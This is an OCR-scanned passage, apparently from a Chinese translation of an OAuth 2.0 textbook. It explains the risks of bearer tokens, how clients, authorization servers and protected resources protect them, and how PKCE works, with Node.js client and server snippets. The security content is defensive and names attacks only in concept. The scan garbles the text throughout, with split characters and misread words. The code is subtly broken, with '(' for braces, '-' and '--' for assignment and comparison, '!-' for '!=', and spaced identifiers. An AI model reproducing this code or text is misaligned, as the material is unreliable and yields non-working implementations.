

10.4 什么 是 bearer SF 


OAuth 工作 组 在 设计 OAuth 2.0 的 时 候 ， 决 定 去 掉 最 初 OAuth 1.0 规范 中 使 用 定制 签名 机 制 
的 规定 , 转 而 依赖 通信 双方 间 的 安全 传输 层 机 制 , 例如 TLS。 从 基础 协议 中 取消 了 对 签名 的 要 求 
之 后 ，OAuth 2.0 就 能 适用 于 各 种 令 牌 了 。OAnuth 规范 将 bearer 令 牌 定义 为 一 种 安全 装置 ， 它 具 
有 这 样 的 特性 : 只 要 当 事 方 拥有 令 牌 (票据 ), 就 能 使 用 它 , 而 不 管 当 事 方 是 谁 。 这 就 好 比 bearer 
令 牌 是 公共 汽车 票 或 者 游乐 园 车 票 ， 拥 有 票据 即 表示 有 权 使 用 服务 ， 而 不 关心 使 用 者 是 谁 。 只 要 
你 持 有 公共 汽车 票 ， 就 能 乘坐 公共 汽车 。 

从 技术 的 角度 看 ，bearer 令 牌 与 浏览 器 的 cookie 很 相似 。 它 们 具有 相同 的 基本 特性 : 
a 都 使 用 纯 文 本 字符 串 ; 
口 不 包含 密 钥 或 者 签名 ; 
口 安全 模型 都 建立 在 TLS 基础 上 。 
但 是 它们 之 间 也 有 区 别 : 
口 浏览 器 使 用 cookie 由 来 已 入 ， 而 bearer 令 牌 对 于 OAuth 客户 端 则 是 新 技术 ; 
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O 浏览 需 实 行 同 源 策略 ， 这 意味 着 一 个 域 之 下 的 cookie 不 会 被 传 到 另 一 个 域 。 但 是 OAuth 
客户 端 并 不 是 这 样 的 ( 这 可 能 是 问题 的 根源 )。 

最 初 的 OAuth 1.0 协议 要 求 令 牌 要 具有 与 之 关联 的 密 钥 , 该 密 钥 用 于 在 发 起 请 求 时 计算 签名 。 
受 保护 资源 会 校 验 签 名 以 及 令 牌 本 身 , 以 证 明 请 求 发 起 方 拥 有 令 牌 及 其 关联 密 钥 。 正确 地 计算 签 
名 一 直 是 客户 端 和 服务 器 开发 人 员 的 一 个 沉重 负担 , 计算 过 程 很 容易 出 现 错误 。 签名 的 计算 涉及 
很 多 环节 ， 例 如 对 字符 串 编码 、 请 求 参 数 排序 以 及 URI 标准 化 。 再 加 上 密码 学 是 不 能 容忍 哪怕 
一 丁点 儿 错 误 的 ， 所 以 时 常会 出 现 签名 匹配 错误 的 问题 。 

例如 ， 服 务 端 应 用 框架 可 以 在 请 求 中 注 和 人 参数, 也 可 以 对 参数 重新 排序 ， 或 者 ， 反 向 代理 可 
以 将 来 自 OAuth 处 理 程序 的 原始 请 求 URI 隐藏 。 笔 者 亲身 经 历 过 这 种 情况 : 开发 人 员 在 实现 
OAuth 1.0 时 在 客户 端 采 用 大 写 的 十 六 进 制 编码 ( 比如 %3F、%2D、%3A )， 而 在 服务 端 采 用 小 写 
的 十 六 进 制 编码 ( 比如 %3f、%2d、%3a )。 这 样 奇特 的 实现 错误 真 的 很 令 人 恼火 。 虽 然 肉 眼 很 容 
易 能 看 出 它们 是 等 价 的 , 机 器 也 很 容易 就 能 对 它们 进行 十 六 进 制 转换 , 但 是 密码 函数 是 需要 两 边 
精确 匹配 才能 正确 验证 签名 的 。 

HAR, TLS 总 是 少不了 的 。 在 获取 令 牌 时 如 果 不 使 用 TLS, 访问 令 牌 以 及 它 的 密 钥 就 有 可 能 
被 盗 。 使 用 令 牌 时 如 果 不 使 用 TLS， 则 授权 调用 结果 有 可 能 被 瓷 (有 时 还 可 能 在 时 间 窗 口内 被 重 
ük) Kk, OAuth 1.0 协议 的 复杂 和 难 用 程度 是 出 了 名 的 。OAuth 2.0 规范 制定 了 一 个 以 bearer 
令 牌 为 中 心 的 简化 协议 。 消 息 级 ( message-level ) 的 签名 并 未 完全 被 抛弃 ， 只 不 过 留 给 协议 扩展 
了 。 随 着 时 间 推 移 ，OAuth 2.0 的 一 些 用 户 提 出 了 协议 扩展 的 要 求 ,需要 包含 签名 。 第 15 章 将 介 
绍 bearer 令 牌 的 一 些 奉 代 方 案 。 


10.2 ”使 用 bearer 令 牌 的 风险 及 注意 事项 


bearer 邻 牌 与 在 浏览 器 中 使 用 的 会 话 cookie 具有 相似 性 。 可 惜 ， 正 是 对 这 种 相似 性 的 误解 引 
发 了 各 种 安全 问题 。 如 果 攻 击 者 能 截获 访问 令 牌 他 就 能 访问 该 令 牌 的 权限 范围 内 的 所 有 资源 。 
使 用 bearer 令 牌 的 客户 端 不 需要 证 明 其 拥有 其 他 额外 的 安全 信息 ， 比 如 加 密 密 钥 。 除 了 令 牌 劫持 
(本 书 在 多 处 都 有 深入 介绍 ), 以 下 这 些 与 OAuth bearer 令 牌 相关 的 风险 与 其 他 基于 令 牌 的 协议 是 
共通 的 。 
a 令 牌 伪造 。 攻 击 者 可 能 会 构造 假 令 牌 或 者 算 改 已 有 的 有 效 令 牌 ， 导 致 资源 服务 器 授予 客 
户 端 不 当 的 访问 权限 。 例 如 ， 攻 击 者 可 以 构造 一 个 令 牌 ， 用 于 获取 他 本 不 能 访问 的 信息 。 
或 者 ， 攻 击 者 可 以 算 改 令 牌 来 扩大 令 牌 原本 的 权限 范围 。 
口 令 牌 重 放 。 攻 击 者 会 尝试 使 用 过 去 使 用 过 并 且 已 经 过 期 的 旧 令 牌 。 在 这 种 情况 下 ， 资 源 
服务 器 不 应 该 返回 任何 有 效 的 信息 ， 而 应 该 提示 错误 。 具 体 来 说 有 这 样 的 情形 : 攻击 者 
首先 通过 合法 手段 获取 访问 令 牌 ， 然 后 在 令 牌 过 期 很 久之 后 再 尝试 使 用 该 令 牌 。 
口 令 牌 重 定向 。 攻 击 者 将 用 于 某 一 资源 服务 器 的 令 牌 用 来 访问 另 一 资源 服务 器 ， 而 该 资源 
服务 器 误 认 为 令 牌 有 效 。 此 情形 是 这 样 的 : 攻击 者 先 合法 地 获取 某 一 特定 资源 服务 器 的 
访问 令 牌 ， 然 后 将 该 令 牌 出 示 给 另外 一 个 资源 服务 器 。 
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口 令 牌 信息 泄露 。 令 牌 可 能 会 含有 一 些 关 于 系统 的 敏感 信息 ， 而 这 些 信 息 是 不 应 该 透露 给 
攻击 者 的 。 与 前 一 个 问题 相 比 ， 信 息 泄露 似乎 是 个 小 问题 ,但 仍然 需要 小 心 。 

以 上 这 些 都 是 针对 令 牌 的 严重 威胁 。 该 如 何在 静态 存储 和 传输 过 程 中 保护 bearer 令 牌 呢 ? 马 

后 炮 式 的 安全 补救 是 无 济 于 事 的 ， 在 任何 项 目 中 实施 者 都 应 该 在 早期 阶段 做 出 正确 的 选择 。 


10.3 ”如 何 保护 bearer 令 牌 


有 一 点 至 关 重 要 ， 那 就 是 不 要 在 不 安全 的 信道 上 以 明文 形式 传递 访问 令 牌 。 根 据 OAuth 核 
心 规范 ， 必 须 使 用 端 到 端的 加 密 连 接 传输 访问 令 牌 ， 比 如 使 用 SSL/TLS。 什 么 是 SSL/TLS 呢 ? 
TLS ( transport layer security， 传 输 层 安全 )， 以 前 被 称 为 SSL (secure sockets layer， 安 全 套 接 字 
层 )， 是 一 种 在 计算 机 网 络 上 提供 安全 连接 的 加 密 协 议 。 该 协议 对 直接 连接 的 两 方 的 相互 通信 进 
行 保 护 ， 其 加 密 过 程 包括 以 下 内 容 : 
Q 连接 是 私密 的 ， 因 为 对 传输 的 数据 使 用 了 对 称 加 密 ; 
口 连接 是 可 靠 的 ， 因 为 使 用 了 消息 验证 码 对 传输 的 每 一 条 消息 进行 完整 性 检查 。 

一 般 使 用 带 有 公 钥 加 密 的 证 书 来 实现 此 技术 , 特别 是 在 公共 的 互联 网 上 , 发 起 连接 请 求 的 客 
户 端 会 对 接收 连接 的 应 用 进行 证 书 验 证 。 在 一 些 极端 情况 下 , 也 可 能 对 发 起 连接 请 求 的 应 用 进行 
证 书 验证 ， 但 是 这 种 双向 验证 的 TLS 连接 相当 局 限 ， 并 且 很 少见 。 需 要 牢记 一 点 : 如 果 不 使 用 
TLS， 则 无 法 保证 OAuth bearer 令 牌 在 传输 过 程 中 的 安全 。 











































































































TLS 在 哪里 呢 ? 

你 可 能 已 经 注意 到 ,在 所 有 练习 中 ,我 们 并 没有 使 用 过 TLS。 这 是 为 什么 呢 ? 如 何 部 署 完 
整 的 TLS EXC Cu M 远 远 超出 了 本 书 的 范围 ， 而 且 对 OAuth 核心 工作 原理 
的 理解 并 不 需要 一 定 用 上 TLS。 资源 拥有 者 的 身份 认证 也 是 同样 的 情况 , 它 对 于 OAuth 系统 的 
功能 性 和 安全 性 来 说 是 必需 的 , 但 在 练习 中 为 了 简化 将 其 省 略 了 。 在 生产 系统 或 者 任何 关注 组 
件 安全 的 部 署 中 ， DEEP 

请 记 住 ， 确 保 软件 安全 需要 所 有 事情 都 不 能 出 错 ， 而 黑客 只 需要 做 对 一 件 事情 就 够 了 。 


接 下 来 将 探讨 不 同 的 OAuth 组 件 能 够 如 何 应 对 与 bearer 令 牌 相关 的 威胁 。 


10.3.1 在 客户 端 上 


本 书 已 经 数 次 介绍 了 访问 令 牌 是 如 何在 客户 端 被 盗 以 及 泄露 给 攻击 者 的 。 需 要 记 住 的 是 ， 
bearer 令 牌 对 客户 端 而 言 是 透明 的 ,并 不 需要 对 它们 执行 任何 加 密 操 作 。 因 此 ， 当 攻击 者 获取 
bearer 令 牌 之 后 ， 他 就 能 够 访问 与 令 牌 及 其 权限 范围 相关 联 的 所 有 资源 。 

客户 端 可 以 采取 这 样 的 应 对 策略 : 只 请 求 满足 其 功能 最 低 要 求 的 权限 范围 。 例 如 ,如 果 客 户 
端 只 需要 获取 资源 拥有 者 的 用 户 信息 ， 它 就 只 需要 请 求 profile 权限 范围 就 足够 了 ( 而 不 需要 
其 他 权限 范围 ， 比 如 photo 或 者 location) 如果 令 牌 被 盗 ， 这 种 “最 小 权限 ”的 方法 能 够 限 
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制 其 使 用 范围 。 为 了 最 大 限度 地 降低 对 用 户 体验 的 影响 , 客户 端 可 以 在 授权 阶段 请 求 所 有 适当 的 
权限 范围 ， 然 后 使 用 刷新 令 牌 获取 对 权限 范围 有 所 限制 的 访问 令 牌 ， 用 于 直接 访问 资源 。 

如 果 可 行 的 话 , 将 访问 令 牌 存储 在 瞬 态 内 存 中 也 有 利于 降低 源 自 存储 注入 的 攻击 风险 。 这样 
的 话 ， 即 使 攻击 者 拿 到 客户 端 数据 库 的 访问 权限 ， 也 无 法 获取 与 访问 令 牌 有 关 的 信息 。 这 并 不 是 
对 所 有 类 型 的 客户 端 都 可 行 , 但 是 安全 地 存储 令 牌 ,防止 其 他 应 用 甚至 最 终 用 户 偷 完 令 牌 , 是 每 
一 个 OAuth 客户 端 都 应 该 做 的 事 ' 


10.3.2 ”在 授权 服务 器 上 


如 果 攻 击 者 能 够 拿 到 授权 服务 器 数据 库 的 访问 权限 或 者 对 其 发 起 SQL 注入 ， 众 多 资源 拥有 
者 的 安全 将 会 受到 威胁 。 之 所 以 会 这 样 , 是 因为 授权 服务 器 是 生成 和 颁发 访问 令 牌 的 中 心 点 , 令 
牌 会 被 颁发 给 多 个 客户 端 , 并 且 可 能 供 多 个 受 保护 资源 使 用 。 在 大 多 数 实现 中 ( 包括 到 目前 为 止 
我 们 的 实现 )， 授 权 服 务 器 会 将 访问 令 牌 存储 在 数据 库 中 。 受 保护 资源 从 客户 端 收 到 令 牌 后 会 进 
行 验证 。 实 现 方式 有 多 种 ， 但 通常 是 执行 数据 库 查 询 来 查找 匹配 的 令 牌 。 第 11 章 将 介绍 一 种 无 
状态 的 替代 方法 ， 基 于 结构 化 令 牌 : JSON Web 令 牌 ,或 者 叫 作 JWT, 

作为 一 种 有 效 的 防御 措施 ， 授 权 服 务 器 可 以 存储 令 牌 的 散 列 值 ( 比如 SHA-256 )， 而 不 存储 
令 牌 本 身 的 明文 。 在 这 种 情况 下 ， 即 使 攻击 者 能 够 窃取 包含 所 有 访问 令 牌 的 数据 库 ， 这 些 泄露 的 
宫 息 对 他 也 毫 无 用 处 。 虽然 在 存储 用 户 密码 时 推荐 使 用 加 盐 散 列 , 但 是 在 令 牌 散 列 中 不 应 该 进行 
额外 的 加 盐 处 理 ， 因 为 访问 令 牌 值 应 该 已 经 具有 足够 的 信息 炉 , 使 得 离线 字典 攻击 非常 困难 。 例 
如 ,对 于 随机 值 令 牌 , 令 牌 值 的 长 度 至 少 有 128 位 ,并 且 是 通过 密码 型 强 随 机 或 者 伪 随 机 数 序 列 
生成 的 。 

另外 , 为 了 最 大 限度 地 降低 单个 访问 令 牌 被 泄露 所 造成 的 风险 , 缩短 访问 令 牌 的 生命 周期 是 
很 好 的 做 法 。 这 样 一 来 , 即使 一 个 令 牌 遭 到 泄露 , 其 有 限 的 生命 周期 也 会 对 攻击 者 起 到 限制 作用 。 
如 果 客 户 端 需要 长 期 访问 某 个 资源 , 授权 服务 需 可 以 为 客户 端 颁发 刷新 令 牌 。 刷 新 令 牌 只 会 在 授 
权 服 务 器 和 客户 端 之 间 传 递 , 而 不 会 传递 给 受 保护 资源 , 这 能 显著 地 减 小 针对 这 种 长 期 有 效 令 牌 
的 攻击 面 。 多 长 时 间 的 令 牌 生命 周期 才 算 “ 短 期 *"， 完 全 取决 于 受 保护 的 应 用 ,但 是 一 般 来 说 ， 
令 牌 的 有 效 期 不 应 比 使 用 APT 所 需 的 平均 时 间 长 太 多 。 

最 后 , 最 好 在 授权 服务 器 上 进行 全 面 且 安全 的 审计 和 日 志 记录 。 令 牌 无 论 在 何 时 颁发 、 使 用 ， 
或 者 撤销 ， 其 发 生 的 上 下 文 ( 客户 端 、 资 源 拥有 者 、 权 限 范围 、 资 源 、 时 间 等 ) 都 可 以 用 来 监控 
可 颖 行为。 这 样 一 来 ， 所 有 这 些 日 志 中 都 必须 清除 访问 令 牌 值 ， 以 防 泄露 。 
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10.3.3 ”在 受 保 护 资源 上 


受 保护 资源 通常 以 类 似 于 授权 服务 需 的 方式 处 理 访问 令 牌 ， 所 以 应 该 在 安全 性 上 被 同等 对 
待 。 由 于 在 一 个 网 络 中 受 保 护 资源 的 数量 可 能 会 多 于 授权 服务 器 , 因此 应 该 对 其 给 予 更 直接 的 关 
注 。 即 便 如 此 ， 如 果 你 使 用 的 是 bearer 令 牌 , 也 无 法 阻止 一 个 恶意 的 受 保护 资源 将 访问 令 牌 重 放 
至 其 他 受 保护 资源 。 请 时 刻 记 住 ， 访 问 令 牌 可 能 被 无 意 地 通过 系统 日 志 泄 露 ， 尤 其 是 那些 抓 取 
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HTTP 流量 用 于 分 析 的 日 志 。 应 将 令 牌 值 从 这 些 日 志 中 清除 。 

资源 端点 在 设计 上 应 该 尽量 缩小 令 牌 的 权限 范围 , 遵循 集合 最 小 化 原则 ,只 要 求 满足 特定 任 
务 的 最 小 权限 范围 集合 。 虽 然 与 令 牌 关联 的 权限 范围 由 客户 端 请 求 , 但 是 受 保护 资源 的 设计 者 可 
以 根据 功能 对 令 牌 的 权限 范围 做 出 尽 可 能 明确 的 要 求 , 以 保护 整个 生态 系统 。 这 一 设计 过 程 以 逻 
辑 的 方式 划分 应 用 资源 ， 使 得 客户 端 无 须 请 求 不 必要 的 权限 就 能 完成 工作 。 

资源 服务 器 也 应 该 正确 地 验证 令 牌 ,并 避免 使 用 具有 某 种 超级 能 力 和 特殊 用 途 的 令 牌 。 尽 管 
受 保 护 资源 对 令 牌 的 当前 状态 进行 缓存 很 常见 ， 尤 其 在 使 用 第 11 章 所 讨论 的 令 牌 内 省 这 样 的 协 
议 时 , 但 是 受 保护 资源 必须 权衡 这 种 缓存 的 利弊 。 还 可 以 使 用 速率 限制 以 及 一 些 其 他 技术 来 保护 
API， 这 有 助 于 防止 攻击 者 在 受 保护 资源 上 进行 令 牌 试探 。 

将 访问 令 牌 存储 在 瞬 态 内 存 中 能 够 抵御 资源 服务 器 的 数据 存储 被 攻击 的 情况 。 这 使 得 攻击 者 
很 难 通过 攻击 后 端 系统 来 获取 有 效 的 访问 令 牌 。 当 然 ,， 在 这 些 情况 下 , 攻击 者 很 可 能 已 经 能 够 访 
问 资源 所 保护 的 数据 ， 所 以 也 得 考虑 成 本 和 收益 的 平衡 。 


10.4 授权 码 


第 2 章 介绍 过 授权 码 , 我 们 已 经 知道 这 种 许可 类 型 的 最 大 好 处 就 是 不 经 过 资源 拥有 者 的 用 户 
代理 ， 而 将 访问 令 牌 直 接 传递 给 客户 端 ， 避 免 将 令 牌 暴露 给 其 他 人 , 包括 资源 拥有 者 。 第 7 章 还 
展示 了 如 何 通过 一 些 复杂 的 攻击 方法 劫持 授权 码 。 授权 码 本 身 是 没有 用 的 , 特别 是 在 客户 端 拥有 
用 于 自身 身份 认证 的 密 钥 的 情况 下 。 然 而 ， 如 在 第 6 章 所 见 ， 原 生 应 用 在 客户 端 密 铀 方面 存在 特 
殊 问题 。 第 12 章 介绍 的 动态 注册 是 解决 该 问题 的 一 种 方法 , 但 它 并 不 适用 于 所 有 的 客户 端 应 用 。 
为 缓解 针对 公开 客户 端的 攻击 ，OAuth 工作 组 发 布 了 一 份 附 加 规范 一 一 Proof Key for Code 
Exchange (PKCE )， 该 规范 阻 断 了 这 种 攻击 的 媒介 。 

















































































































Proof Key for Code Exchange 


使 用 授权 码 许可 的 OAuth 2.0 公开 客户 端 容易 受到 授权 码 窃听 攻击 。PKCE 规范 就 是 为 防御 

这 种 攻击 而 推出 的 , 它 为 授权 请 求 与 后 续 的 令 牌 请 求 建立 了 安全 绑 定 。PKCE 的 运作 方式 很 简单 。 

口 客户 端 创建 并 记录 名 为 code_verifier 的 秘密 信息 ， 在 图 10-1 中 表示 为 一 面 带 有 魔杖 

的 旗帜 。 

口 然后 客户 端 根据 code verifier 计算 出 code_challenge, 在 图 10-1 中 同样 表示 为 旗帜 ， 
其 上 覆盖 一 个 复杂 的 图 案 。 它 的 值 可 以 是 code verifier, 也 可 以 是 code verifier 的 
SHA-256 散 列 ， 但 是 应 该 优先 考虑 使 用 密码 散 列 ， 因 为 它 能 防止 验证 器 本 身 遭 到 截获 。 

口 客户 端 将 code challenge 以 及 可 选 的 code challenge method (一 个 关键 字 ， 表 
示 原 文 或 者 SHA-256 散 列 ) 与 常规 的 授权 请 求 参数 一 起 发 送 给 授权 服务 器 〈 如 图 10-1 
所 示 )。 

口 授权 服务 器 照常 啊 应 ， 但 是 将 code challenge 和 code challenge method ( 如果 有 

的 话 ) 记录 下 来 。 授 权 服 务 器 会 将 这 些 信息 与 颁发 的 授权 码 关联 起 来 。 
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a 客户 端 接收 到 授权 码 之 后 ， 携 带 之 前 生成 的 code verifier 执行 令 牌 请 求 (如 图 10-2 
所 示 )。 


口 授权 服务 器 再 次 计算 code_challenge， 并 检查 是 否 与 原 值 一 致 ( 如 图 10-3 所 示 )。 如 
果 不 一 致 则 返回 错误 信息 ， 一 致 则 继续 正常 流程 。 


























资源 拥有 者 s 
客户 端 生成 代码 验证 器 以 及 质 PUN 
询 ， 将 质询 放 入 前 端 信道 请 求 
发 送 给 授权 服务 器 
d | eel 
v 
— — | ee| 
客户 端 受 保护 资源 
图 10-1 PKCE code challenge 
客户 端 通过 后 端 信道 请 求 将 
验证 器 发 送 给 授权 服务 器 
资源 拥有 者 授权 服务 器 
受 保 护 资 源 





图 10-2 PKCE code verifier 
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资源 拥有 者 授权 服务 器 基于 验证 器 重 
新 生成 质询 ， 并 与 之 前 发 
送 过 来 的 质询 进行 比 对 





授权 服务 器 
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d css 

客户 端 受 保护 资源 





图 10-3 将 code verifier 与 code challenge 进行 比 对 


要 让 客户 端 和 授权 服务 器 支持 PKCE 相当 简单 。 除 了 众所周知 的 安全 优势 ，PKCE 还 有 一 个 
优点 : 即使 客户 端 或 授权 服务 器 处 于 生产 环境 ， 也 可 以 在 不 中 断 服务 的 前 提 下 添加 PKCE。 我 们 
将 为 练习 中 的 客户 端 和 授权 服务 器 添加 PKCE 来 验证 这 一 点 ， 要 实现 的 code challenge. 
method 是 S256 (使 用 SHA-256 )。s256 方法 在 我 们 的 服务 器 上 是 强制 要 求实 现 的 ， 在 客户 端 
上 则 允许 在 因 技 术 原 因 不 支持 S256 时 使 用 plain。 

请 打开 ch-10-ex-l 目录 ， 编 辑 clientjs 文件 。 找 到 授权 请 求 的 部 分 。 在 此 ， 需 要 生成 
codqe_verifier， 计 算 coqe_challenge， 并 将 质询 发 送 给 授权 服务 器 。PKCE 规范 建议 的 
code verifier 最 小 长 度 是 43 个 字符 , 最 大 长 度 是 128 个 字符 。 我们 保守 地 选择 了 生成 一 个 长 
度 为 80 的 字符 串 。 使 用 s256 方法 对 code verifier 进行 散 列 计算 。 



























































code verifier = randomstring.generate(80); 
var code challenge = base64url.fromBase64(crypto.createHash('sha256'). 
update(code verifier).digest('base64'!)); 


var authorizeUrl = buildUrl(authServer.authorizationEndpoint, ( 
response type: 'code', 
Scope: client.scope, 
client id: client.client id, 
redirect uri: client.redirect uris[0], 
State: state, 
code challenge: code challenge, 
code challenge method: 'S256' 
)); 
res.redirect (authorizeUrl); 
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现在 ， 还 需要 修改 /callpack 端点 ,将 code verifier 与 授权 码 code 一 起 发 送 给 令 牌 





var form data = gs.stringify(( 
grant type: 'authorization code', 
code: code, 
redirect uri: client.redirect uri, 
code verifier: code verifier 


PI 


客户 端 修改 完毕 后 , 还 要 修改 服务 器 。 由 于 授权 服务 器 将 授权 端点 上 的 最 初 请 求 与 授权 码 存 
储 在 一 起 ， 对 于 后 面 code challenge 的 存储 ， 无 须 进 行 任 何 特殊 处 理 。 在 需要 时 可 以 将 其 从 
code.request 对 象 中 提取 出 来 。 然 而 ， 我 们 需要 做 的 是 验证 请 求 。 在 /token 端点 的 处 理 中 ， 
要 基于 收 到 的 code verifier 以 及 通过 最 初 请 求 发 送 的 code challenge method 来 计算 新 
HJ code challenge. 服务器 会 对 plain 和 s256 两 种 方法 都 提供 支持 。 请 注意 ，s256 使 用 的 
转换 方法 与 之 前 客户 端 生成 code challenge 所 用 的 方法 相同 。 然 后 可 以 确保 重新 计算 出 的 
code challenge 与 最 初 值 一 致 ， 如 果 不 一 致 则 返回 错误 信息 。 
































if (code.request.client id == clientId) ( 
if (code.request.code challenge) ( 


if (code.request.code challenge method -- 'plain') ( 
var code challenge - req.body.code verifier; 
) else if (code.request.code challenge method == 'S256') ( 


var code challenge = base64url.fromBase64(crypto. 
createHash('sha256').update(req.body.code verifier).digest('base64')); 


) else ( 
res.status(400).json((error: 'invalid request')); 
return; 

j 

if (code.request.code challenge !- code challenge) ( 
res.status(400).json((error: 'invalid request')); 
return; 


} 


如 果 一 切 都 能 匹配 ， 会 正常 返回 一 个 令 牌 。 请 注意 ,虽然 PKCE 是 为 公开 客户 端 而 制定 的 ， 
但 保密 客户 端 也 可 以 使 用 它 。 图 10-4 展示 了 完整 旦 详细 的 PKCE 流程 。 
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资源 拥有 者 客户 端 


客户 端 将 资源 拥有 者 
引导 至 授权 端点 ， 并 
携带 生成 的 code_ 


challenge 


用 户 代理 加 载 授权 
端点 





资源 拥有 者 向 授权 服 
务 器 进行 身份 认证 K 


授权 服务 器 携带 
着 授权 码 将 用 户 
代理 重 定向 至 客 
Pu 





用 户 代理 加 载 带 有 人 

授权 码 的 客户 端 重 

定向 URI 客户 端 向 令 牌 端点 发 送 code_ 
verifier、 授 权 码 以 及 它 自 
己 的 凭据 








授权 服务 器 根据 code_verifier 
计算 出 code_challenge， 并 确保 
它 与 最 初 提 交 的 code_challenge 
一 臻 


授权 服务 器 向 客户 端 


客户 端 向 受 保护 资源 


受 保护 资源 向 客户 端 返回 资源 

















10-4 PKCE 详细 流程 图 
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10.5 小结 


bearer 令 牌 大 大 简化 了 OAuth 处 理 过 程 ， 让 开发 人 员 能 够 更 轻松 、 更 规范 地 实现 协议 。 但 正 
是 这 样 的 简洁 性 对 贯穿 系统 始终 的 令 牌 保护 提出 了 要 求 。 
口 必须 使 用 TLS 这 样 的 安全 传输 层 机 制 来 传递 访问 令 牌 。 
O 客户 端 应 该 请 求 尽 可 能 少 的 信息 〈 在 权限 范围 的 设置 上 尽量 保守 )。 
a 授权 服务 器 应 该 存储 访问 令 牌 的 散 列 值 ， 而 不 是 令 牌 明文 。 
O 授权 服务 器 应 该 保持 较 短 的 访问 令 牌 生命 周期 ， 以 最 小 化 因 单 个 令 牌 泄露 而 导致 的 风险 。 
口 资源 服务 器 应 该 将 访问 令 牌 存储 在 瞬 态 内 存 中 。 
口 PKCE 可 用 于 提高 授权 码 的 安全 性 。 

到 此 为 止 ， 我 们 已 经 完成 了 对 整个 OAuth 生态 系统 的 构建 过 程 ， 并 且 深 入 探讨 了 可 能 因 实 
现 和 部 署 中 的 过 失 而 引起 的 漏洞 。 下 面 将 介绍 OAuth 之 外 更 广阔 的 生态 系统 。 










































































更 进一步 


在 这 一 部 分 ， 我 们 跳出 核心 OAuth 协议 ， 着 重 探讨 基于 核心 OAuth 这 一 坚实 基础 而 构建 的 
扩展 、 配 置 协 议 以 及 补充 组 件 ， 包 括 令 牌 格式 、 客 户 端 身份 认证 、 用 户 身份 认证 、 垂 直 领 域 本 
置 协议 、 拥 有 证 明令 牌 。 如 果 你 想 了 解 OpenID Conneet、UMA， 或 者 Pop， 那 么 阅读 这 一 部 分 
就 对 了 。 以 上 这 些 话题 中 的 每 一 个 都 可 能 自 成 一 本 书 ， 但 是 我 们 还 是 希望 给 出 足够 的 信息 来 帮 
助 你 入 门 。 











OAuth $ j 








本 章 内 容 

口 OAuth 令 牌 是 什么 

口 在 结构 化 的 JSON Web 令 牌 中 携带 信息 
a 使 用 JOSE 保护 令 牌 数据 

口 通过 令 牌 内 省 实时 获取 令 牌 信息 

a 支持 令 牌 撤回 的 令 牌 生命 周期 管理 








即使 OAuth 协议 规定 了 各 种 重 定向 、 流 程 和 组 件 ， 但 它 关 注 的 根本 还 是 令 牌 。 请 回想 一 下 
第 1 章 中 云 打 印 的 例子 。 为 了 让 照片 存储 服务 确定 打印 服务 拥有 访问 照片 的 权限 , 打印 服务 需要 
提供 一 些 信息 来 证 明 其 拥有 授权 。 我 们 将 这 种 信息 称 为 访问 令 牌 , 这 在 本 书 中 已 经 广泛 使 用 过 了 。 
现在 ， 要 更 深入 地 了 解 OAuth 令 牌 以 及 如 何在 OAuth 生态 系统 中 管理 令 牌 。 











11.1 OAuth 令 牌 是 什么 


令 牌 是 所 有 OAuth 事务 的 核心 。 客 户 端 从 授权 服务 器 获取 令 牌 ， 然 后 出 示 给 受 保 护 资源 。 
授权 服务 器 生成 令 牌 并 发 送 给 客户 端 ， 将 资源 拥有 者 的 授权 与 客户 端 权限 信息 一 起 关联 到 令 牌 。 
受 保护 资源 从 客户 端 接收 令 牌 并 对 其 进行 验证 ， 将 其 关联 的 权限 与 客户 端 发 出 的 请 求 进行 匹配 。 

令 牌 表示 的 是 授权 行为 的 结果 : 一 个 信息 元 组 ， 包 括 资 源 拥有 者 、 客 户 端 、 授 权 服 务 器 、 受 
保护 资源 、 权 限 范围 以 及 其 他 与 授权 决策 有 关 的 信息 。 如 果 客 户 端 需要 更 新 访问 令 牌 却 不 想 再 次 
打扰 资源 拥有 者 ， 则 要 使 用 另 一 种 令 牌 : 刷新 令 牌 。 令 牌 是 位 于 OAuth 生态 系统 中 心 的 关键 机 制 ， 
可 以 说 没有 令 牌 就 没有 OAuth。 所 以 ，OAuth 的 非 官方 标志 很 像 一 枚 公共 汽车 乘 车 币 (bustoken， 
如 图 11-1 所 示 )。 

一 切 聚 焦 于 令 牌 , 然而 OAuth 规范 完全 没有 提 及 令 牌 所 包含 的 内 容 。 第 2 章 和 第 3 章 已 经 讨 
W, OAuth 系统 中 的 客户 端 无 顷 了 解 令 牌 本 身 的 任何 信息 。 客 户 端 需要 知道 的 就 是 如 何 从 授权 
服务 器 获取 令 牌 以 及 如 何在 资源 服务 器 上 使 用 令 牌 。 但 是 , 授权 服务 器 和 资源 服务 器 需要 了 解 令 
牌 的 内 容 。 授权 服务 器 要 知道 如 何 生 成 令 牌 来 颁发 给 客户 端 ,， 资源 服务 器 要 知道 如 何 识别 并 验证 
客户 端 发 送 过 来 的 令 牌 。 
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图 11-1 OAuth 的 非 官方 标志 ， 像 一 枚 公共 汽车 乘 车 币 


为 什么 OAuth 核心 规范 会 将 如 此 重要 的 内 容 省 略 呢 ? 不 对 令 牌 本 身 做 出 规定 ， 使 得 OAuth 
能 够 广泛 适用 于 各 种 部 署 场景 ,它们 的 特性 、 风 险 状 况 以 及 要 求 各 不 相同 。OAuth 令 牌 可 以 具有 
有 效 期 ,可 以 支持 撤回 ,也 可 以 永久 有 效 , 或 者 根据 情况 将 这 些 特性 组 合 。 令 牌 可 以 代表 特定 的 
用 户 或 者 系统 中 所 有 的 用 户 , 也 可 以 不 代表 任何 用 户 。 令 牌 可 以 具有 内 部 结构 , 可 以 是 随机 的 无 
意义 字符 串 ,也 可 以 被 加 密 保 护 , 甚 至 可 以 将 这 几 项 结合 起 来 .这 种 灵活 性 和 模块 化 特性 使 OAuth 
具备 了 良好 的 适应 性 ， 而 这 是 那些 更 全 面 的 安全 协议 ( 比如 WS-*, SAML 和 Kerberos ) 无 法 做 
到 的 ， 它 们 都 对 令 牌 格式 做 出 了 规定 ， 并 且 要 求 系统 的 所 有 部 件 都 能 理解 令 牌 格式 。 

不 过 , 还 有 几 种 常用 的 创建 和 验证 令 牌 的 技术 ,它们 都 有 各 自 的 优 缺 点 ， 能 够 适用 于 不 同 的 
场景 。 在 第 3~5 章 的 练习 中 , 创建 的 令 牌 都 是 由 字母 和 数字 组 成 的 随机 字符 串 。 它 们 在 网 络 上 的 
形式 如 下 。 


s9nR4Aqv7qVadTUssVD5DqA7oRLJ2xonn 


授权 服务 器 生成 令 牌 之 后 , 会 将 令 牌 值 存储 在 磁盘 上 的 共享 数据 库 中 。 当 受 保护 资源 从 客户 
